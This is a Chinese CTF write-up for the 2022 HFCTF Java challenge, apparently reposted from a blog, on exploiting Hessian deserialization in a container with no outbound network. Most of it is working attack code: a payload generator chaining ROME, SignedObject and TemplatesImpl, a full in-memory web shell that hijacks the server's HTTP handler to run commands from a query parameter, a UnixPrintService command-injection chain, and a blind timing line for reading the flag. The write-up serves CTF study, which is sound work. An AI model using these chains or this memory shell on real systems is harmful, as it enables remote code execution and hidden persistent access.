2022虎符CTF-Java部分

WriteUp 2年前 (2022) admin
1,070 0 0

写在前面

​ 非小白文,代码基于marshalsec项目基础上进行修改

正文

​ 本身我是不太懂hessian的反序列化,大概去网上搜了一下配合ROME利用的思路(如果反序列化map对象,在逻辑后面通过put操作,从而触发对key调用hashCode打ROME),这里不清楚可以看看ROME利用链以及hessian反序列化的一些简单东西

​ 首先简单看下docker,可以看到会导致不能出网

JAVA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
version: '2.4'
services:
  nginx:
    image: nginx:1.15
    ports:
      - "0.0.0.0:8090:80"
    restart: always
    volumes:
        - ./nginx.conf:/etc/nginx/conf.d/default.conf:ro
    networks:
      - internal_network
      - out_network
  web:
    build: ./
    restart: always
    volumes:
        - ./flag:/flag:ro
    networks:
      - internal_network
networks:
    internal_network:
        internal: true
        ipam:
            driver: default
    out_network:
        ipam:
            driver: default

nginx.conf

PLAINTEXT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
server {
    listen       80;
    server_name  localhost;

    location / {
        root   /usr/share/nginx/html;
        index  index.html index.htm;
		proxy_pass http://web:8090;
    }

    #error_page  404              /404.html;

    # redirect server error pages to the static page /50x.html
    #
    error_page   500 502 503 504  /50x.html;
    location = /50x.html {
        root   /usr/share/nginx/html;
    }
}

利用一:SignedObject实现二次反序列化

既然不出网那就无法配合JNDI去利用了(网上主流的利用),后面尝试了TemplatesImpl,在Hessian的一些限制下(有空自己去看源码),导致被transient修饰的_tfactory对象无法写入造成空指针异常,为什么呢,自己看图可以看到不仅仅是被transient修饰,同时静态变量也不行,这里导致另一个利用链不能打,这里不提

2022虎符CTF-Java部分

之后解决思路就是找个二次反序列化的点触发原生反序列化即可,最后找到个java.security.SignedObject#SignedObject,里面的getObject可以触发

JAVA

1
2
3
4
5
6
7
8
9
10
11
public Object getObject()
    throws IOException, ClassNotFoundException
{
    // creating a stream pipe-line, from b to a
    ByteArrayInputStream b = new ByteArrayInputStream(this.content);
    ObjectInput a = new ObjectInputStream(b);
    Object obj = a.readObject();
    b.close();
    a.close();
    return obj;
}

因此得到下面简单的payload,下面payload有一些地方还可以完善变得更好,但是我懒

JAVA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package marshalsec;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ObjectBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import marshalsec.gadgets.JDKUtil;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;

import static marshalsec.util.Reflections.setFieldValue;

public class Test {
    public static void main(String[] args) throws Exception {
        byte[] code = ClassPool.getDefault().get("Yyds").toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","abc");
        setFieldValue(templates,"_class",null);
         setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        setFieldValue(templates,"_bytecodes",new byte[][]{code});
        ToStringBean bean = new ToStringBean(Templates.class,templates);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
        setFieldValue(badAttributeValueExpException,"val",bean);

        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject so = null;
        so = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);


        ObjectBean delegate = new ObjectBean(SignedObject.class, so);
        ObjectBean root  = new ObjectBean(ObjectBean.class, delegate);
        HashMap<Object, Object> map = JDKUtil.makeMap(root, root);

        ByteArrayOutputStream os = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(os);
        output.writeObject(map);
        output.getBytesOutputStream().flush();
        output.completeMessage();
        output.close();
        System.out.println(new String(Base64.getEncoder().encode(os.toByteArray())));

    }
}

这样就可以实现执行反序列化打TemplatesImpl加载恶意代码了,接下来既然不出网,比较方便的就是去注入内存马

按照经验来讲Web中间件是多线程的应用,一般requst对象都会存储在线程对象中,可以通过Thread.currentThread()Thread.getThreads()获取,按照这个思路写就行了

2022虎符CTF-Java部分2022虎符CTF-Java部分

我是懒狗之间暴力替换handler(继承AbstractTranslet实现HttpHandler),嫌弃麻烦可以自己加路由可以让代码更短,还可以放到静态块防止触发两次,一句话我懒自己改去

JAVA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import com.sun.net.httpserver.HttpContext;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.*;
import java.lang.reflect.Field;

public class Yyds extends AbstractTranslet implements HttpHandler {
    public void handle(HttpExchange t) throws IOException {
        String response = "Y4tacker's MemoryShell";
        String query = t.getRequestURI().getQuery();
        String[] var3 = query.split("=");
        System.out.println(var3[0]+var3[1]);
        ByteArrayOutputStream output = null;
        if (var3[0].equals("y4tacker")){
            InputStream inputStream = Runtime.getRuntime().exec(var3[1]).getInputStream();
            output = new ByteArrayOutputStream();
            byte[] buffer = new byte[4096];
            int n = 0;
            while (-1 != (n = inputStream.read(buffer))) {
                output.write(buffer, 0, n);
            }
        }
        response+=("\n"+new String(output.toByteArray()));
        t.sendResponseHeaders(200, (long)response.length());
        OutputStream os = t.getResponseBody();
        os.write(response.getBytes());
        os.close();
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    public Yyds() throws Exception  {
        super();
        try{

            Object obj = Thread.currentThread();
            Field field = obj.getClass().getDeclaredField("group");
            field.setAccessible(true);
            obj = field.get(obj);

            field = obj.getClass().getDeclaredField("threads");
            field.setAccessible(true);
            obj = field.get(obj);
            Thread[] threads = (Thread[]) obj;
            for (Thread thread : threads) {
                if (thread.getName().contains("Thread-2")) {
                    try {
                        field = thread.getClass().getDeclaredField("target");
                        field.setAccessible(true);
                        obj = field.get(thread);
                        System.out.println(obj);

                        field = obj.getClass().getDeclaredField("this$0");
                        field.setAccessible(true);
                        obj = field.get(obj);


                        field = obj.getClass().getDeclaredField("contexts");
                        field.setAccessible(true);
                        obj = field.get(obj);

                        field = obj.getClass().getDeclaredField("list");
                        field.setAccessible(true);
                        obj = field.get(obj);
                        java.util.LinkedList lt = (java.util.LinkedList)obj;
                        Object o = lt.get(0);
                        field = o.getClass().getDeclaredField("handler");

                        field.setAccessible(true);
                        field.set(o,this);
                    }catch (Exception e){
                        e.printStackTrace();
                    }
                }

            }
        }catch (Exception e){
        }
    }

}

其实可以去静态块改一下,不然执行两次多多少少有点烦,就这样了so easy

当然太暴力了也不好哈哈哈,还可以在上面的sun.net.httpserver.ServerImpl$Dispatcher直接执行sun.net.httpserver.ServerImpl#createContext(java.lang.String, com.sun.net.httpserver.HttpHandler)创建新的路由即可

这里就不写了,一个字懒,反正也不难

实现效果

2022虎符CTF-Java部分

利用二:UnixPrintService直接执行命令

之前不清楚,后面@wuyx师傅提醒我才发现可以不用实现序列化接口,具体可以参考marshalsec的实现

JAVA

1
2
3
HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
output.setSerializerFactory(sf);

sun.print.UnixPrintService的所有get方法都能触发,别看这个是Unix其实linux也有,在高版本被移除(有兴趣自己考古),利用方式就是简单命令拼接执行(缺点就是太能弹了,基本上每个get方法都能弹)

2022虎符CTF-Java部分

JAVA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Constructor<UnixPrintService> declaredConstructor = UnixPrintService.class.getDeclaredConstructor(String.class);
declaredConstructor.setAccessible(true);
ObjectBean delegate = new ObjectBean(sun.print.UnixPrintService.class,

declaredConstructor.newInstance(";open -na Calculator"));

ObjectBean root  = new ObjectBean(ObjectBean.class, delegate);
HashMap<Object, Object> map = JDKUtil.makeMap(root, root);
//
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
output.setSerializerFactory(sf);
output.writeObject(map);
output.getBytesOutputStream().flush();
output.completeMessage();
output.close();
System.out.println(new String(Base64.getEncoder().encode(os.toByteArray())));

拿flag的话就两种方式JavaAgent注入内存马,或者本来就是ctf

JAVA

1
if [ `cut -c 1 flag` = "a" ];then sleep 2;fi

如何快速拿利用链

在这次比赛后我简单学习了下用tabby,通过下面的neo4j查询语句,之后人工排查下

SQL

1
match path=(m1:Method)-[:CALL*..3]->(m2:Method {}) where m1.NAME =~ "get.*" and m1.PARAMETER_SIZE=0 and (m2.NAME =~ "exec.*" or m2.NAME =~ "readObject") return path

利用一:

2022虎符CTF-Java部分

利用二:

2022虎符CTF-Java部分

总的来说还是学的挺多,挺有收获的一个比赛

 

 

原文始发于Y4tacker’s Blog:2022虎符CTF-Java部分

版权声明:admin 发表于 2022年3月23日 上午8:41。
转载请注明:2022虎符CTF-Java部分 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...